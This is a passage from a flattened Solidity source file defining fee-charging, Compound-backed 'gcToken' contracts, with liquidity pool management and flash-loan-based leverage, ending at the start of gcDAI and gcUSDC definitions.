* given/burned upon withdrawing from the contract.
* @param _cost The amount of reserve token being withdrawn.
* @param _totalReserve The reserve balance as obtained by totalReserve()
* @param _totalSupply The shares supply as obtained by totalSupply()
* @param _withdrawalFee The current withdrawal fee as obtained by withdrawalFee()
* @return _grossShares The total amount of shares being deducted,
* including fees.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) public pure override returns (uint256 _grossShares, uint256 _feeShares)
{
return GFormulae._calcWithdrawalSharesFromCost(_cost, _totalReserve, _totalSupply, _withdrawalFee);
}
/**
* @notice Allows for the beforehand calculation of the amount of
* reserve token to be withdrawn given the desired amount of
* shares.
* @param _grossShares The amount of this gToken shares to provide.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _withdrawalFee The current withdrawal fee as obtained by withdrawalFee().
* @return _cost The cost, in the reserve token, to be received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) public pure override returns (uint256 _cost, uint256 _feeShares)
{
return GFormulae._calcWithdrawalCostFromShares(_grossShares, _totalReserve, _totalSupply, _withdrawalFee);
}
/**
* @notice Provides the amount of reserve tokens currently being help by
* this contract.
* @return _totalReserve The amount of the reserve token corresponding
* to this contract's balance.
*/
function totalReserve() public view virtual override returns (uint256 _totalReserve)
{
return G.getBalance(reserveToken);
}
/**
* @notice Provides the current minting/deposit fee. This fee is
* applied to the amount of this gToken shares being created
* upon deposit. The fee defaults to 1% and is set to 2%
* after the liquidity pool has been migrated.
* @return _depositFee A percent value that accounts for the percentage
* of shares being minted at each deposit that be
* collected as fee.
*/
function depositFee() public view override returns (uint256 _depositFee) {
return lpm.hasMigrated() ? DEPOSIT_FEE_AFTER_MIGRATION : DEPOSIT_FEE;
}
/**
* @notice Provides the current burning/withdrawal fee. This fee is
* applied to the amount of this gToken shares being redeemed
* upon withdrawal. The fee defaults to 1% and is set to 0%
* after the liquidity pool is migrated.
* @return _withdrawalFee A percent value that accounts for the
* percentage of shares being burned at each
* withdrawal that be collected as fee.
*/
function withdrawalFee() public view override returns (uint256 _withdrawalFee) {
return lpm.hasMigrated() ? WITHDRAWAL_FEE_AFTER_MIGRATION : WITHDRAWAL_FEE;
}
/**
* @notice Provides the address of the liquidity pool contract.
* @return _liquidityPool An address identifying the liquidity pool.
*/
function liquidityPool() public view override returns (address _liquidityPool)
{
return lpm.liquidityPool;
}
/**
* @notice Provides the percentage of the liquidity pool to be burned.
* This amount should account approximately for the swap fees
* collected by the liquidity pool during a 7-day period.
* @return _burningRate A percent value that corresponds to the current
* amount of the liquidity pool to be burned at
* each 7-day cycle.
*/
function liquidityPoolBurningRate() public view override returns (uint256 _burningRate)
{
return lpm.burningRate;
}
/**
* @notice Marks when the last liquidity pool burn took place. There is
* a minimum 7-day grace period between consecutive burnings of
* the liquidity pool.
* @return _lastBurningTime A timestamp for when the liquidity pool
* burning took place for the last time.
*/
function liquidityPoolLastBurningTime() public view override returns (uint256 _lastBurningTime)
{
return lpm.lastBurningTime;
}
/**
* @notice Provides the address receiving the liquidity pool migration.
* @return _migrationRecipient An address to which funds will be sent
* upon liquidity pool migration completion.
*/
function liquidityPoolMigrationRecipient() public view override returns (address _migrationRecipient)
{
return lpm.migrationRecipient;
}
/**
* @notice Provides the timestamp for when the liquidity pool migration
* can be completed.
* @return _migrationUnlockTime A timestamp that defines the end of the
* 7-day grace period for liquidity pool
* migration.
*/
function liquidityPoolMigrationUnlockTime() public view override returns (uint256 _migrationUnlockTime)
{
return lpm.migrationUnlockTime;
}
/**
* @notice Performs the minting of gToken shares upon the deposit of the
* reserve token. The actual number of shares being minted can
* be calculated using the calcDepositSharesFromCost function.
* In every deposit, 1% of the shares is retained in terms of
* deposit fee. Half of it is immediately burned and the other
* half is provided to the locked liquidity pool. The funds
* will be pulled in by this contract, therefore they must be
* previously approved.
* @param _cost The amount of reserve token being deposited in the
* operation.
*/
function deposit(uint256 _cost) public override nonReentrant
{
address _from = msg.sender;
require(_cost > 0, "cost must be greater than 0");
(uint256 _netShares, uint256 _feeShares) = GFormulae._calcDepositSharesFromCost(_cost, totalReserve(), totalSupply(), depositFee());
require(_netShares > 0, "shares must be greater than 0");
G.pullFunds(reserveToken, _from, _cost);
require(_prepareDeposit(_cost), "not available at the moment");
_mint(_from, _netShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
/**
* @notice Performs the burning of gToken shares upon the withdrawal of
* the reserve token. The actual amount of the reserve token to
* be received can be calculated using the
* calcWithdrawalCostFromShares function. In every withdrawal,
* 1% of the shares is retained in terms of withdrawal fee.
* Half of it is immediately burned and the other half is
* provided to the locked liquidity pool.
* @param _grossShares The gross amount of this gToken shares being
* redeemed in the operation.
*/
function withdraw(uint256 _grossShares) public override nonReentrant
{
address _from = msg.sender;
require(_grossShares > 0, "shares must be greater than 0");
(uint256 _cost, uint256 _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, totalReserve(), totalSupply(), withdrawalFee());
require(_cost > 0, "cost must be greater than 0");
require(_prepareWithdrawal(_cost), "not available at the moment");
_cost = G.min(_cost, G.getBalance(reserveToken));
G.pushFunds(reserveToken, _from, _cost);
_burn(_from, _grossShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
/**
* @notice Allocates a liquidity pool with the given amount of funds and
* locks it to this contract. This function should be called
* shortly after the contract is created to associated a newly
* created liquidity pool to it, which will collect fees
* associated with the minting and burning of this gToken shares.
* The liquidity pool will consist of a 50%/50% balance of the
* stakes token (GRO) and this gToken shares with a swap fee of
* 10%. The rate between the amount of the two assets deposited
* via this function defines the initial price. The minimum
* amount to be provided for each is 1,000,000 wei. The funds
* will be pulled in by this contract, therefore they must be
* previously approved. This is a priviledged function
* restricted to the contract owner.
* @param _stakesAmount The initial amount of stakes token.
* @param _sharesAmount The initial amount of this gToken shares.
*/
function allocateLiquidityPool(uint256 _stakesAmount, uint256 _sharesAmount) public override onlyOwner nonReentrant
{
address _from = msg.sender;
G.pullFunds(stakesToken, _from, _stakesAmount);
_transfer(_from, address(this), _sharesAmount);
lpm.allocatePool(_stakesAmount, _sharesAmount);
}
/**
* @notice Changes the percentual amount of the funds to be burned from
* the liquidity pool at each 7-day period. This is a
* priviledged function restricted to the contract owner.
* @param _burningRate The percentage of the liquidity pool to be burned.
*/
function setLiquidityPoolBurningRate(uint256 _burningRate) public override onlyOwner nonReentrant
{
lpm.setBurningRate(_burningRate);
}
/**
* @notice Burns part of the liquidity pool funds decreasing the supply
* of both the stakes token and this gToken shares.
* The amount to be burned is set via the function
* setLiquidityPoolBurningRate and defaults to 0.5%.
* After this function is called there must be a 7-day wait
* period before it can be called again.
* The purpose of this function is to burn the aproximate amount
* of fees collected from swaps that take place in the liquidity
* pool during the previous 7-day period. This function will
* emit a BurnLiquidityPoolPortion event upon success. This is
* a priviledged function restricted to the contract owner.
*/
function burnLiquidityPoolPortion() public override onlyOwner nonReentrant
{
(uint256 _stakesAmount, uint256 _sharesAmount) = lpm.burnPoolPortion();
_burnStakes(_stakesAmount);
_burn(address(this), _sharesAmount);
emit BurnLiquidityPoolPortion(_stakesAmount, _sharesAmount);
}
/**
* @notice Initiates the liquidity pool migration. It consists of
* setting the migration recipient address and starting a
* 7-day grace period. After the 7-day grace period the
* migration can be completed via the
* completeLiquidityPoolMigration fuction. Anytime before
* the migration is completed is can be cancelled via
* cancelLiquidityPoolMigration. This function will emit a
* InitiateLiquidityPoolMigration event upon success. This is
* a priviledged function restricted to the contract owner.
* @param _migrationRecipient The receiver of the liquidity pool funds.
*/
function initiateLiquidityPoolMigration(address _migrationRecipient) public override onlyOwner nonReentrant
{
lpm.initiatePoolMigration(_migrationRecipient);
emit InitiateLiquidityPoolMigration(_migrationRecipient);
}
/**
* @notice Cancels the liquidity pool migration if it has been already
* initiated. This will reset the state of the liquidity pool
* migration. This function will emit a
* CancelLiquidityPoolMigration event upon success. This is
* a priviledged function restricted to the contract owner.
*/
function cancelLiquidityPoolMigration() public override onlyOwner nonReentrant
{
address _migrationRecipient = lpm.cancelPoolMigration();
emit CancelLiquidityPoolMigration(_migrationRecipient);
}
/**
* @notice Completes the liquidity pool migration at least 7-days after
* it has been started. The migration consists of sendind the
* the full balance held in the liquidity pool, both in the
* stakes token and gToken shares, to the address set when
* the migration was initiated. This function will emit a
* CompleteLiquidityPoolMigration event upon success. This is
* a priviledged function restricted to the contract owner.
*/
function completeLiquidityPoolMigration() public override onlyOwner nonReentrant
{
(address _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount) = lpm.completePoolMigration();
G.pushFunds(stakesToken, _migrationRecipient, _stakesAmount);
_transfer(address(this), _migrationRecipient, _sharesAmount);
emit CompleteLiquidityPoolMigration(_migrationRecipient, _stakesAmount, _sharesAmount);
}
/**
* @dev This abstract method must be implemented by subcontracts in
* order to adjust the underlying reserve after a deposit takes
* place. The actual implementation depends on the strategy and
* algorithm used to handle the reserve.
* @param _cost The amount of the reserve token being deposited.
*/
function _prepareDeposit(uint256 _cost) internal virtual returns (bool _success);
/**
* @dev This abstract method must be implemented by subcontracts in
* order to adjust the underlying reserve before a withdrawal takes
* place. The actual implementation depends on the strategy and
* algorithm used to handle the reserve.
* @param _cost The amount of the reserve token being withdrawn.
*/
function _prepareWithdrawal(uint256 _cost) internal virtual returns (bool _success);
/**
* @dev Burns the given amount of the stakes token. The default behavior
* of the function for general ERC-20 is to send the funds to
* address(0), but that can be overriden by a subcontract.
* @param _stakesAmount The amount of the stakes token being burned.
*/
function _burnStakes(uint256 _stakesAmount) internal virtual
{
G.pushFunds(stakesToken, address(0), _stakesAmount);
}
}
// File: contracts/GCTokenBase.sol
pragma solidity ^0.6.0;
/**
* @notice This abstract contract provides the basis implementation for all
* gcTokens, i.e. gTokens that use Compound cTokens as reserve, and
* implements the common functionality shared amongst them.
* In a nutshell, it extends the functinality of the GTokenBase contract
* to support operating directly using the cToken underlying asset.
* Therefore this contract provides functions that encapsulate minting
* and redeeming of cTokens internally, allowing users to interact with
* the contract providing funds directly in their underlying asset.
*/
abstract contract GCTokenBase is GTokenBase, GCToken
{
address public immutable override miningToken;
address public immutable override growthToken;
address public immutable override underlyingToken;
/**
* @dev Constructor for the gcToken contract.
* @param _name The ERC-20 token name.
* @param _symbol The ERC-20 token symbol.
* @param _decimals The ERC-20 token decimals.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _reserveToken The ERC-20 token address to be used as reserve
* token (e.g. cDAI for gcDAI).
* @param _miningToken The ERC-20 token used for liquidity mining on
* compound (COMP).
* @param _growthToken The ERC-20 token address of the associated
* gcToken Type 1, for gcTokens Type 2, or address(0),
* if this contract is a gcToken Type 1.
*/
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _stakesToken, address _reserveToken, address _miningToken, address _growthToken)
GTokenBase(_name, _symbol, _decimals, _stakesToken, _reserveToken) public
{
miningToken = _miningToken;
growthToken = _growthToken;
address _underlyingToken = G.getUnderlyingToken(_reserveToken);
underlyingToken = _underlyingToken;
}
/**
* @notice Allows for the beforehand calculation of the cToken amount
* given the amount of the underlying token and an exchange rate.
* @param _underlyingCost The cost in terms of the cToken underlying asset.
* @param _exchangeRate The given exchange rate as provided by exchangeRate().
* @return _cost The equivalent cost in terms of cToken
*/
function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) public pure override returns (uint256 _cost)
{
return GCFormulae._calcCostFromUnderlyingCost(_underlyingCost, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of the underlying token
* amount given the cToken amount and an exchange rate.
* @param _cost The cost in terms of the cToken.
* @param _exchangeRate The given exchange rate as provided by exchangeRate().
* @return _underlyingCost The equivalent cost in terms of the cToken underlying asset.
*/
function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) public pure override returns (uint256 _underlyingCost)
{
return GCFormulae._calcUnderlyingCostFromCost(_cost, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of shares to be
* received/minted upon depositing the underlying asset to the
* contract.
* @param _underlyingCost The amount of the underlying asset being deposited.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _netShares The net amount of shares being received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) public pure override returns (uint256 _netShares, uint256 _feeShares)
{
return GCFormulae._calcDepositSharesFromUnderlyingCost(_underlyingCost, _totalReserve, _totalSupply, _depositFee, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of the amount of the
* underlying asset to be deposited in order to receive the desired
* amount of shares.
* @param _netShares The amount of this gcToken shares to receive.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _underlyingCost The cost, in the underlying asset, to be paid.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositUnderlyingCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) public pure override returns (uint256 _underlyingCost, uint256 _feeShares)
{
return GCFormulae._calcDepositUnderlyingCostFromShares(_netShares, _totalReserve, _totalSupply, _depositFee, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of shares to be
* given/burned upon withdrawing the underlying asset from the
* contract.
* @param _underlyingCost The amount of the underlying asset being withdrawn.
* @param _totalReserve The reserve balance as obtained by totalReserve()
* @param _totalSupply The shares supply as obtained by totalSupply()
* @param _withdrawalFee The current withdrawl fee as obtained by withdrawalFee()
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _grossShares The total amount of shares being deducted,
* including fees.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) public pure override returns (uint256 _grossShares, uint256 _feeShares)
{
return GCFormulae._calcWithdrawalSharesFromUnderlyingCost(_underlyingCost, _totalReserve, _totalSupply, _withdrawalFee, _exchangeRate);
}
/**
* @notice Allows for the beforehand calculation of the amount of the
* underlying asset to be withdrawn given the desired amount of
* shares.
* @param _grossShares The amount of this gcToken shares to provide.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _withdrawalFee The current withdrawal fee as obtained by withdrawalFee().
* @param _exchangeRate The exchange rate as obtained by exchangeRate().
* @return _underlyingCost The cost, in the underlying asset, to be received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalUnderlyingCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) public pure override returns (uint256 _underlyingCost, uint256 _feeShares)
{
return GCFormulae._calcWithdrawalUnderlyingCostFromShares(_grossShares, _totalReserve, _totalSupply, _withdrawalFee, _exchangeRate);
}
/**
* @notice Provides the compound exchange rate since their last update.
* @return _exchangeRate The exchange rate between cToken and its
* underlying asset
*/
function exchangeRate() public view override returns (uint256 _exchangeRate)
{
return G.getExchangeRate(reserveToken);
}
/**
* @notice Provides the total amount kept in the reserve in terms of the
* underlying asset.
* @return _totalReserveUnderlying The underlying asset balance on reserve.
*/
function totalReserveUnderlying() public view virtual override returns (uint256 _totalReserveUnderlying)
{
return GCFormulae._calcUnderlyingCostFromCost(totalReserve(), exchangeRate());
}
/**
* @notice Provides the total amount of the underlying asset (or equivalent)
* this contract is currently lending on Compound.
* @return _lendingReserveUnderlying The underlying asset lending
* balance on Compound.
*/
function lendingReserveUnderlying() public view virtual override returns (uint256 _lendingReserveUnderlying)
{
return G.getLendAmount(reserveToken);
}
/**
* @notice Provides the total amount of the underlying asset (or equivalent)
* this contract is currently borrowing on Compound.
* @return _borrowingReserveUnderlying The underlying asset borrowing
* balance on Compound.
*/
function borrowingReserveUnderlying() public view virtual override returns (uint256 _borrowingReserveUnderlying)
{
return G.getBorrowAmount(reserveToken);
}
/**
* @notice Performs the minting of gcToken shares upon the deposit of the
* cToken underlying asset. The funds will be pulled in by this
* contract, therefore they must be previously approved. This
* function builds upon the GTokenBase deposit function. See
* GTokenBase.sol for further documentation.
* @param _underlyingCost The amount of the underlying asset being
* deposited in the operation.
*/
function depositUnderlying(uint256 _underlyingCost) public override nonReentrant
{
address _from = msg.sender;
require(_underlyingCost > 0, "underlying cost must be greater than 0");
uint256 _cost = GCFormulae._calcCostFromUnderlyingCost(_underlyingCost, exchangeRate());
(uint256 _netShares, uint256 _feeShares) = GFormulae._calcDepositSharesFromCost(_cost, totalReserve(), totalSupply(), depositFee());
require(_netShares > 0, "shares must be greater than 0");
G.pullFunds(underlyingToken, _from, _underlyingCost);
G.safeLend(reserveToken, _underlyingCost);
require(_prepareDeposit(_cost), "not available at the moment");
_mint(_from, _netShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
/**
* @notice Performs the burning of gcToken shares upon the withdrawal of
* the underlying asset. This function builds upon the
* GTokenBase withdrawal function. See GTokenBase.sol for
* further documentation.
* @param _grossShares The gross amount of this gcToken shares being
* redeemed in the operation.
*/
function withdrawUnderlying(uint256 _grossShares) public override nonReentrant
{
address _from = msg.sender;
require(_grossShares > 0, "shares must be greater than 0");
(uint256 _cost, uint256 _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, totalReserve(), totalSupply(), withdrawalFee());
uint256 _underlyingCost = GCFormulae._calcUnderlyingCostFromCost(_cost, exchangeRate());
require(_underlyingCost > 0, "underlying cost must be greater than 0");
require(_prepareWithdrawal(_cost), "not available at the moment");
_underlyingCost = G.min(_underlyingCost, G.getLendAmount(reserveToken));
G.safeRedeem(reserveToken, _underlyingCost);
G.pushFunds(underlyingToken, _from, _underlyingCost);
_burn(_from, _grossShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
}
// File: contracts/GFlashBorrower.sol
pragma solidity ^0.6.0;
/**
* @dev This abstract contract provides an uniform interface for receiving
* flash loans. It encapsulates the required functionality provided by
* both Aave and Dydx. It performs the basic validation to ensure that
* only Aave/Dydx contracts can dispatch the operation and only the
* current contract (that inherits from it) can initiate it.
*/
abstract contract GFlashBorrower is FlashLoanReceiver, ICallee
{
using SafeMath for uint256;
uint256 private allowOperationLevel = 0;
/**
* @dev Handy definition to ensure that flash loans are only initiated
* from within the current contract.
*/
modifier mayFlashBorrow()
{
allowOperationLevel++;
_;
allowOperationLevel--;
}
/**
* @dev Handles Aave callback. Delegates the processing of the funds
* to the virtual function _processFlashLoan and later takes care
* of paying it back.
* @param _token The ERC-20 contract address.
* @param _amount The amount being borrowed.
* @param _fee The fee, in addition to the amount borrowed, to be repaid.
* @param _params Additional user parameters provided when the flash
* loan was requested.
*/
function executeOperation(address _token, uint256 _amount, uint256 _fee, bytes calldata _params) external override
{
assert(allowOperationLevel > 0);
address _from = msg.sender;
address _pool = $.Aave_AAVE_LENDING_POOL;
assert(_from == _pool);
require(_processFlashLoan(_token, _amount, _fee, _params)/*, "failure processing flash loan"*/);
G.paybackFlashLoan(FlashLoans.Provider.Aave, _token, _amount.add(_fee));
}
/**
* @dev Handles Dydx callback. Delegates the processing of the funds
* to the virtual function _processFlashLoan and later takes care
* of paying it back.
* @param _sender The contract address of the initiator of the flash
* loan, expected to be the current contract.
* @param _account Dydx account info provided in the callback.
* @param _data Aditional external data provided to the Dydx callback,
* this is used by the Dydx module to pass the ERC-20 token
* address, the amount and fee, as well as user parameters.
*/
function callFunction(address _sender, Account.Info memory _account, bytes memory _data) external override
{
assert(allowOperationLevel > 0);
address _from = msg.sender;
address _solo = $.Dydx_SOLO_MARGIN;
assert(_from == _solo);
assert(_sender == address(this));
assert(_account.owner == address(this));
(address _token, uint256 _amount, uint256 _fee, bytes memory _params) = abi.decode(_data, (address,uint256,uint256,bytes));
require(_processFlashLoan(_token, _amount, _fee, _params)/*, "failure processing flash loan"*/);
G.paybackFlashLoan(FlashLoans.Provider.Dydx, _token, _amount.add(_fee));
}
/**
* @dev Internal function that abstracts the algorithm to be performed
* with borrowed funds. It receives the funds, deposited in the
* current contract, and must ensure they are available as balance
* of the current contract, including fees, before it returns.
* @param _token The ERC-20 contract address.
* @param _amount The amount being borrowed.
* @param _fee The fee, in addition to the amount borrowed, to be repaid.
* @param _params Additional user parameters provided when the flash
* loan was requested.
* @return _success A boolean indicating success.
*/
function _processFlashLoan(address _token, uint256 _amount, uint256 _fee, bytes memory _params) internal virtual returns (bool _success);
}
// File: contracts/GCTokenType1.sol
pragma solidity ^0.6.0;
/**
* @notice This contract implements the functionality for the gcToken Type 1.
* As with all gcTokens, gcTokens Type 1 use a Compound cToken as
* reserve token. Furthermore, Type 1 tokens may apply leverage to the
* reserve by using the cToken balance to borrow its associated
* underlying asset which in turn is used to mint more cToken. This
* process is performed to the limit where the actual reserve balance
* ends up accounting for the difference between the total amount lent
* and the total amount borrowed. One may observe that there is
* always a net loss when considering just the yield accrued for
* lending minus the yield accrued for borrowing on Compound. However,
* if we consider COMP being credited for liquidity mining the net
* balance may become positive and that is when the leverage mechanism
* should be applied. The COMP is periodically converted to the
* underlying asset and naturally becomes part of the reserve.
* In order to easily and efficiently adjust the leverage, this contract
* performs flash loans. See GCTokenBase, GFlashBorrower and
* GCLeveragedReserveManager for further documentation.
*/
contract GCTokenType1 is GCTokenBase, GFlashBorrower
{
using GCLeveragedReserveManager for GCLeveragedReserveManager.Self;
GCLeveragedReserveManager.Self lrm;
/**
* @dev Constructor for the gcToken Type 1 contract.
* @param _name The ERC-20 token name.
* @param _symbol The ERC-20 token symbol.
* @param _decimals The ERC-20 token decimals.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _reserveToken The ERC-20 token address to be used as reserve
* token (e.g. cDAI for gcDAI).
* @param _miningToken The ERC-20 token used for liquidity mining on
* compound (COMP).
*/
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _stakesToken, address _reserveToken, address _miningToken)
GCTokenBase(_name, _symbol, _decimals, _stakesToken, _reserveToken, _miningToken, address(0)) public
{
address _underlyingToken = G.getUnderlyingToken(_reserveToken);
lrm.init(_reserveToken, _underlyingToken, _miningToken);
}
/**
* @notice Overrides the default total reserve definition in order to
* account only for the diference between assets being lent
* and assets being borrowed.
* @return _totalReserve The amount of the reserve token corresponding
* to this contract's worth.
*/
function totalReserve() public view override returns (uint256 _totalReserve)
{
return GCFormulae._calcCostFromUnderlyingCost(totalReserveUnderlying(), exchangeRate());
}
/**
* @notice Overrides the default total underlying reserve definition in
* order to account only for the diference between assets being
* lent and assets being borrowed.
* @return _totalReserveUnderlying The amount of the underlying asset
* corresponding to this contract's worth.
*/
function totalReserveUnderlying() public view override returns (uint256 _totalReserveUnderlying)
{
return lendingReserveUnderlying().sub(borrowingReserveUnderlying());
}
/**
* @notice Provides the contract address for the GExchange implementation
* currently being used to convert the mining token (COMP) into
* the underlying asset.
* @return _exchange A GExchange compatible contract address, or address(0)
* if it has not been set.
*/
function exchange() public view override returns (address _exchange)
{
return lrm.exchange;
}
/**
* @notice Provides the minimum and maximum amount of the mining token to
* be processed on every operation. If the contract balance
* is below the minimum it waits until more accumulates.
* If the total amount is beyond the maximum it processes the
* maximum and leaf the rest for future operations. The mining
* token accumulated via liquidity mining is converted to the
* underlying asset and used to mint the associated cToken.
* This range is used to avoid wasting gas converting small
* amounts as well as mitigating slipage converting large amounts.
* @return _miningMinGulpAmount The minimum amount of the mining token
* to be processed per deposit/withdrawal.
* @return _miningMaxGulpAmount The maximum amount of the mining token
* to be processed per deposit/withdrawal.
*/
function miningGulpRange() public view override returns (uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount)
{
return (lrm.miningMinGulpAmount, lrm.miningMaxGulpAmount);
}
/**
* @notice Provides the minimum and maximum amount of the gcToken Type 1 to
* be processed on every operation. This method applies only to
* gcTokens Type 2 and is not relevant for gcTokens Type 1.
* @return _growthMinGulpAmount The minimum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (always 0).
* @return _growthMaxGulpAmount The maximum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (always 0).
*/
function growthGulpRange() public view override returns (uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount)
{
return (0, 0);
}
/**
* @notice Provides the target collateralization ratio and margin to be
* maintained by this contract. The amount is relative to the
* maximum collateralization available for the associated cToken
* on Compound. The amount is relative to the maximum
* collateralization available for the associated cToken
* on Compound. gcToken Type 1 use leveraged collateralization
* where the cToken is used to borrow its underlying token which
* in turn is used to mint new cToken and repeat. This is
* performed to the maximal level where the actual reserve
* ends up corresponding to the difference between the amount
* lent and the amount borrowed.
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* (defaults to 96%)
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* margin (defaults to 0%)
*/
function collateralizationRatio() public view override returns (uint256 _collateralizationRatio, uint256 _collateralizationMargin)
{
return (lrm.collateralizationRatio, lrm.collateralizationMargin);
}
/**
* @notice Sets the contract address for the GExchange implementation
* to be used in converting the mining token (COMP) into
* the underlying asset. This is a priviledged function
* restricted to the contract owner.
* @param _exchange A GExchange compatible contract address.
*/
function setExchange(address _exchange) public override onlyOwner nonReentrant
{
lrm.setExchange(_exchange);
}
/**
* @notice Sets the minimum and maximum amount of the mining token to
* be processed on every operation. See miningGulpRange().
* This is a priviledged function restricted to the contract owner.
* @param _miningMinGulpAmount The minimum amount of the mining token
* to be processed per deposit/withdrawal.
* @param _miningMaxGulpAmount The maximum amount of the mining token
* to be processed per deposit/withdrawal.
*/
function setMiningGulpRange(uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount) public override onlyOwner nonReentrant
{
lrm.setMiningGulpRange(_miningMinGulpAmount, _miningMaxGulpAmount);
}
/**
* @notice Sets the minimum and maximum amount of the gcToken Type 1 to
* be processed on every operation. This method applies only to
* gcTokens Type 2 and is not relevant for gcTokens Type 1.
* This is a priviledged function restricted to the contract owner.
* @param _growthMinGulpAmount The minimum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (ignored).
* @param _growthMaxGulpAmount The maximum amount of the gcToken Type 1
* to be processed per deposit/withdrawal
* (ignored).
*/
function setGrowthGulpRange(uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount) public override /*onlyOwner nonReentrant*/
{
_growthMinGulpAmount; _growthMaxGulpAmount; // silences warnings
}
/**
* @notice Sets the target collateralization ratio and margin to be
* maintained by this contract. See collateralizationRatio().
* Setting both parameters to 0 turns off collateralization and
* leveraging. This is a priviledged function restricted to the
* contract owner.
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* (defaults to 96%)
* @param _collateralizationRatio The percent value relative to the
* maximum allowed that this contract
* will target for collateralization
* margin (defaults to 0%)
*/
function setCollateralizationRatio(uint256 _collateralizationRatio, uint256 _collateralizationMargin) public override onlyOwner nonReentrant
{
lrm.setCollateralizationRatio(_collateralizationRatio, _collateralizationMargin);
}
/**
* @dev This method is overriden from GTokenBase and sets up the reserve
* after a deposit comes along. It basically adjusts the
* collateralization/leverage to reflect the new increased reserve
* balance. This method uses the GCLeveragedReserveManager to
* adjust the reserve and this is done via flash loans.
* See GCLeveragedReserveManager().
* @param _cost The amount of reserve being deposited (ignored).
* @return _success A boolean indicating whether or not the operation
* succeeded. This operation should not fail unless
* any of the underlying components (Compound, Aave,
* Dydx) also fails.
*/
function _prepareDeposit(uint256 _cost) internal override mayFlashBorrow returns (bool _success)
{
_cost; // silences warnings
return lrm.adjustReserve(0);
}
/**
* @dev This method is overriden from GTokenBase and sets up the reserve
* before a withdrawal comes along. It basically calculates the
* the amount will be left in the reserve, in terms of cToken cost,
* and adjusts the collateralization/leverage accordingly. This
* method uses the GCLeveragedReserveManager to adjust the reserve
* and this is done via flash loans. See GCLeveragedReserveManager().
* @param _cost The amount of reserve being withdrawn and that needs to
* be immediately liquid.
* @return _success A boolean indicating whether or not the operation succeeded.
* The operation may fail if it is not possible to recover
* the required liquidity (e.g. low liquidity in the markets).
*/
function _prepareWithdrawal(uint256 _cost) internal override mayFlashBorrow returns (bool _success)
{
return lrm.adjustReserve(GCFormulae._calcUnderlyingCostFromCost(_cost, G.fetchExchangeRate(reserveToken)));
}
/**
* @dev This method dispatches the flash loan callback back to the
* GCLeveragedReserveManager library. See GCLeveragedReserveManager.sol
* and GFlashBorrower.sol.
*/
function _processFlashLoan(address _token, uint256 _amount, uint256 _fee, bytes memory _params) internal override returns (bool _success)
{
return lrm._receiveFlashLoan(_token, _amount, _fee, _params);
}
}
// File: contracts/GTokens.sol
pragma solidity ^0.6.0;
/**
* @notice Definition of gcDAI. As a gcToken Type 1, it uses cDAI as reserve
* and employs leverage to maximize returns.
*/
contract gcDAI is GCTokenType1
{
constructor ()
GCTokenType1("growth cDAI", "gcDAI", 8, $.GRO, $.cDAI, $.COMP) public
{
}
}
/**
* @notice Definition of gcUSDC. As a gcToken Type 1, it uses cUSDC as reserve
* and employs leverage to maximize returns.
*/
contract gcUSDC is GCTokenType1
{
constructor ()
